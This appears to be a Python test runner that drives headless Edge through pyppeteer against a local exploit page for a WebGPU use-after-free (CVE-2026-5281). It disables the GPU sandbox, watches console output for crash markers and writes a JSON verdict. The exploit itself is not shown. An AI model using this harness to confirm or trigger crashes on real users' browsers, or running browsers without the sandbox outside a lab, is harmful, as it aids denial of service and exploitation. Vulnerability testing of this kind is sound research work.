README.md
Rendering markdown...
import asyncio
import argparse
import json
import logging
from datetime import datetime
from pathlib import Path
from pyppeteer import launch
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s'
)
FATAL_MARKERS = (
"GPU DEVICE LOST",
"CRASH DETECTED",
"VULNERABILITY CONFIRMED",
)
def ensure_parent_dir(file_path: str):
p = Path(file_path)
p.parent.mkdir(parents=True, exist_ok=True)
def classify_console_line(text: str):
upper = text.upper()
if any(marker in upper for marker in FATAL_MARKERS):
return "fatal"
if "UNCAUGHT GPU ERROR" in upper and any(x in upper for x in ("DEVICE LOST", "GPU HANG", "CONTEXT LOST", "OUT OF MEMORY", "INTERNAL ERROR", "REMOVED")):
return "fatal"
if "MAX ATTEMPTS REACHED WITHOUT CRASH" in upper:
return "non_fatal_terminal"
return "info"
async def test_cve_2026_5281_headless(url: str, timeout_seconds: int, browser_path: str):
logging.info("Starting Headless Automated Testing for CVE-2026-5281 UAF...")
run_data = {
"started_at": datetime.utcnow().isoformat() + "Z",
"url": url,
"timeout_seconds": timeout_seconds,
"browser_path": browser_path,
"console": [],
"status": "running",
"signals": {
"fatal": False,
"max_attempts_without_crash": False,
},
}
def on_console_message(msg):
text = msg.text
classification = classify_console_line(text)
run_data["console"].append({
"ts": datetime.utcnow().isoformat() + "Z",
"classification": classification,
"text": text,
})
logging.info(f"BROWSER CONSOLE: {text}")
if classification == "fatal":
run_data["signals"]["fatal"] = True
if classification == "non_fatal_terminal":
run_data["signals"]["max_attempts_without_crash"] = True
# Launch browser with parameters allowing WebGPU natively
browser = await launch(
headless=True,
executablePath=browser_path,
args=[
'--enable-unsafe-webgpu',
'--disable-gpu-sandbox', # Disabling sandbox to ensure direct hardware testing
'--enable-features=Vulkan',
'--use-angle=vulkan' # Depending on platform, you could also configure to 'd3d11' or 'default'
]
)
page = await browser.newPage()
# We must listen to console logs generated by our exploit HTML
page.on('console', on_console_message)
try:
logging.info(f"Navigating to exploit payload on {url}")
await page.goto(url, {'waitUntil': 'domcontentloaded'})
logging.info(f"Waiting for exploit to execute. The automated headless script will run for up to {timeout_seconds} seconds.")
await asyncio.sleep(timeout_seconds)
run_data["status"] = "completed"
except Exception as e:
# A successful DoS or context crash might actually break the Pyppeteer protocol connection
logging.warning("Exception caught while connected. This could mean the GPU rendering engine cleanly crashed the headless tab!")
logging.error(f"Error trace: {e}")
run_data["status"] = "exception"
run_data["exception"] = str(e)
finally:
logging.info("Attempting to close the headless browser.")
try:
await browser.close()
logging.info("Browser closed gracefully.")
except Exception as e:
logging.warning("Browser was completely hung or killed! (Expected during DoS)")
run_data["status"] = "browser_hung"
run_data["ended_at"] = datetime.utcnow().isoformat() + "Z"
return run_data
def summarize_run(run_data):
if run_data["signals"]["fatal"]:
verdict = "fatal_signal_detected"
elif run_data["signals"]["max_attempts_without_crash"]:
verdict = "no_crash_within_attempt_budget"
else:
verdict = "inconclusive"
return {
"verdict": verdict,
"status": run_data.get("status", "unknown"),
"signals": run_data.get("signals", {}),
"console_lines": len(run_data.get("console", [])),
}
def parse_args():
parser = argparse.ArgumentParser(description="CVE-2026-5281 automated browser behavior runner")
parser.add_argument("--url", default="http://localhost:8080/exploit.html", help="Target URL to open")
parser.add_argument("--timeout", type=int, default=15, help="How long to observe behavior")
parser.add_argument("--browser-path", default=r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe", help="Chromium-based browser executable path")
parser.add_argument("--out-json", default="automated_test_run.json", help="Path for structured JSON output")
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
logging.info("=== AUTOMATED WEBGPU CRASH DETECTOR ===")
data = asyncio.get_event_loop().run_until_complete(
test_cve_2026_5281_headless(args.url, args.timeout, args.browser_path)
)
summary = summarize_run(data)
data["summary"] = summary
ensure_parent_dir(args.out_json)
Path(args.out_json).write_text(json.dumps(data, indent=2), encoding="utf-8")
logging.info(f"Saved run JSON: {args.out_json}")
logging.info(f"Run verdict: {summary['verdict']}")
logging.info("=== END OF TEST ===")